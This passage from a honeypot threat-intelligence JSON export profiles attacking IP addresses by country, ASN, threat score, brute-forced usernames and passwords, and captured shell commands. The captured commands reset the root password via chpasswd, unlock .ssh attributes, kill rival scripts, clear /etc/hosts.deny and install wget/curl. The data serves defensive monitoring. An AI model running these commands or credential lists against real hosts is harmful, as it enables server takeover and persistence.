        "q1w2e3r4t5y6u",
        "root5202614",
        "rootroot1234!@#",
        "welcome:",
        "wytroot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:bNnXHEtHM2LT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campina Grande",
      "asn": 263025,
      "as_org": "ISPTEC Sistemas de Comunicacao Eireli",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T12:10:10.161000+00:00",
        "last_seen_30d": "2026-04-27T12:37:44.060000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "154.57.216.142": {
      "attack_count": 154,
      "first_seen": "2026-04-25T00:26:44.876Z",
      "last_seen": "2026-04-25T01:20:10.755Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ali",
        "postgres",
        "test",
        "345gs5662d34",
        "botuser",
        "deploy",
        "dev",
        "git",
        "sammy",
        "steam",
        "sysadmin",
        "tester",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345678",
        "123456789a",
        "123abcABC",
        "159753",
        "1qaz3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "Ali07!",
        "Ali18!",
        "Dell123",
        "Dev1@",
        "Ls123456.",
        "M3gaP33!",
        "Sammy03",
        "Sj123456",
        "Ubuntu25",
        "password",
        "qazwsxedc",
        "sysadmin@1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456789a\\nijSJNN1c38Ih\\nijSJNN1c38Ih\\n\"|passwd",
        "echo -e \"123456789a\\nijSJNN1c38Ih\\nijSJNN1c38Ih\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 135407,
      "as_org": "Trans World Enterprise Services Private Limited",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T00:26:44.876000+00:00",
        "last_seen_30d": "2026-04-25T01:21:17.636000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 154,
        "Suricata": 45
      }
    },
    "189.4.3.135": {
      "attack_count": 131,
      "first_seen": "2026-04-21T16:50:57.528Z",
      "last_seen": "2026-04-21T17:49:25.440Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "postgres",
        "ubuntu",
        "frappe",
        "git",
        "lihui",
        "mtcl",
        "ossadm",
        "zain"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12344321",
        "123456",
        "123qwe!@#",
        "5454",
        "A1234562",
        "Changeme_123",
        "Qw3rty123!",
        "Yl123456",
        "a12345661",
        "frappe22!",
        "git@123",
        "master",
        "mtcl",
        "postgres10",
        "qazwsx9999!@",
        "root111@",
        "root2025@@",
        "root321!@#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pinhais",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T16:50:57.528000+00:00",
        "last_seen_30d": "2026-04-21T17:50:32.971000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 131,
        "Suricata": 51
      }
    },
    "196.92.7.249": {
      "attack_count": 129,
      "first_seen": "2026-04-17T21:21:57.364Z",
      "last_seen": "2026-04-26T14:25:45.564Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "peuser",
        "stack",
        "tester",
        "tigergraph"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QA2ws3ed",
        "13",
        "Claude7",
        "Jaguar1",
        "Password1!",
        "stack",
        "tester@2026",
        "tigergraph",
        "zxc456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"stack\\n6g2ZdlYZA7WR\\n6g2ZdlYZA7WR\\n\"|passwd",
        "echo -e \"stack\\n6g2ZdlYZA7WR\\n6g2ZdlYZA7WR\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:21:57.364000+00:00",
        "last_seen_30d": "2026-04-26T14:26:46.626000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 37
      }
    },
    "14.103.127.204": {
      "attack_count": 83,
      "first_seen": "2026-04-16T16:27:46.608Z",
      "last_seen": "2026-04-16T16:52:14.872Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "cloud_user",
        "test"
      ],
      "passwords_attempted": [
        "112233445566",
        "55",
        "Qwe123.",
        "cloud_user",
        "qazwsx111111@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jnoAMsy6I4HK\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T16:27:46.608000+00:00",
        "last_seen_30d": "2026-04-16T16:53:16.077000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 14
      }
    },
    "103.63.26.101": {
      "attack_count": 72,
      "first_seen": "2026-04-30T16:44:35.294Z",
      "last_seen": "2026-04-30T17:07:03.201Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Probolinggo",
      "asn": 138089,
      "as_org": "PT.Global Media Data Prima",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:44:35.294000+00:00",
        "last_seen_30d": "2026-04-30T17:08:15.065000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 37
      }
    },
    "117.242.155.145": {
      "attack_count": 50,
      "first_seen": "2026-04-15T21:24:03.684Z",
      "last_seen": "2026-04-15T21:29:28.288Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Birunani",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T21:24:03.684000+00:00",
        "last_seen_30d": "2026-04-15T21:30:29.901000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.105.113": {
      "attack_count": 50,
      "first_seen": "2026-04-19T00:47:56.301Z",
      "last_seen": "2026-04-19T00:53:20.741Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T00:47:56.301000+00:00",
        "last_seen_30d": "2026-04-19T00:54:24.526000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "159.138.121.246": {
      "attack_count": 50,
      "first_seen": "2026-04-30T15:58:19.267Z",
      "last_seen": "2026-04-30T16:01:06.054Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:58:19.267000+00:00",
        "last_seen_30d": "2026-04-30T16:02:07.566000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.2.171": {
      "attack_count": 50,
      "first_seen": "2026-04-20T22:09:10.676Z",
      "last_seen": "2026-04-20T22:14:35.053Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T22:09:10.676000+00:00",
        "last_seen_30d": "2026-04-20T22:15:44.768000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.19.36": {
      "attack_count": 48,
      "first_seen": "2026-04-17T16:53:34.114Z",
      "last_seen": "2026-04-17T16:58:46.407Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T16:53:34.114000+00:00",
        "last_seen_30d": "2026-04-17T16:59:47.276000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "207.46.224.81": {
      "attack_count": 36,
      "first_seen": "2026-04-01T19:16:02.624Z",
      "last_seen": "2026-04-01T22:23:15.431Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "admin123",
        "password",
        "root"
      ],
      "commands_executed": [
        "command -v wget > /dev/null 2 >& 1",
        "command -v wget >/dev/null 2>&1 || { apt-get update -y && apt-get install wget curl -y; } 2>/dev/null; command -v wget >/dev/null 2>&1 || { yum install wget curl -y; } 2>/dev/null; command -v wget >/dev/null 2>&1 || { apk add wget curl; } 2>/dev/null",
        "pwd",
        "{ apt-get update -y"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T18:59:02.250000+00:00",
        "last_seen_30d": "2026-04-01T22:24:15.993000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 16
      }
    },
    "116.110.150.34": {
      "attack_count": 35,
      "first_seen": "2026-04-19T05:30:42.749Z",
      "last_seen": "2026-04-19T05:34:01.442Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "installer",
        "squid",
        "support",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "admin@123",
        "installer",
        "squid",
        "support",
        "ubnt",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T05:30:42.749000+00:00",
        "last_seen_30d": "2026-04-19T05:44:05.697000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 15
      }
    },
    "185.211.94.76": {
      "attack_count": 28,
      "first_seen": "2026-04-14T08:26:17.662Z",
      "last_seen": "2026-04-25T15:32:07.304Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 206123,
      "as_org": "Xelon AG",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.2,
        "persistence": 10.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 13,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-13T12:39:37+00:00",
        "last_seen_30d": "2026-04-25T15:33:17.153000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 23,
        "Honeytrap": 2
      }
    },
    "64.89.160.135": {
      "attack_count": 28,
      "first_seen": "2026-04-01T05:41:30.979Z",
      "last_seen": "2026-04-30T11:23:51.302Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 55.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:41:30.979000+00:00",
        "last_seen_30d": "2026-04-30T11:24:52.183000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Cowrie": 28
      }
    },
    "103.146.159.103": {
      "attack_count": 25,
      "first_seen": "2026-04-28T12:58:41.451Z",
      "last_seen": "2026-04-28T12:58:52.984Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T12:58:41.451000+00:00",
        "last_seen_30d": "2026-04-28T12:59:54.234000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "159.89.174.0": {
      "attack_count": 25,
      "first_seen": "2026-04-17T19:44:39.719Z",
      "last_seen": "2026-04-17T19:58:27.629Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "sol",
        "solana"
      ],
      "passwords_attempted": [
        "sol",
        "solana",
        "ubuntu",
        "ubuntu123"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T19:42:39.935000+00:00",
        "last_seen_30d": "2026-04-17T19:59:31.248000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 14
      }
    },
    "139.135.42.155": {
      "attack_count": 24,
      "first_seen": "2026-04-11T04:10:28.915Z",
      "last_seen": "2026-04-11T04:13:59.310Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T04:10:28.915000+00:00",
        "last_seen_30d": "2026-04-11T04:15:03.428000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "207.154.250.192": {
      "attack_count": 22,
      "first_seen": "2026-04-21T23:28:12.374Z",
      "last_seen": "2026-04-21T23:28:22.621Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-21T23:28:12+00:00",
        "last_seen_30d": "2026-04-21T23:29:32.139000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "164.92.175.202": {
      "attack_count": 21,
      "first_seen": "2026-04-01T05:31:42.345Z",
      "last_seen": "2026-04-01T05:31:43.859Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 3.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 4,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:57:03+00:00",
        "last_seen_30d": "2026-04-04T03:33:30.150000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Cowrie": 21,
        "Honeytrap": 11
      }
    },
    "106.75.88.55": {
      "attack_count": 18,
      "first_seen": "2026-04-10T13:43:53.353Z",
      "last_seen": "2026-04-11T00:36:59.873Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech@123",
        "kelltech",
        "kelltech@123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
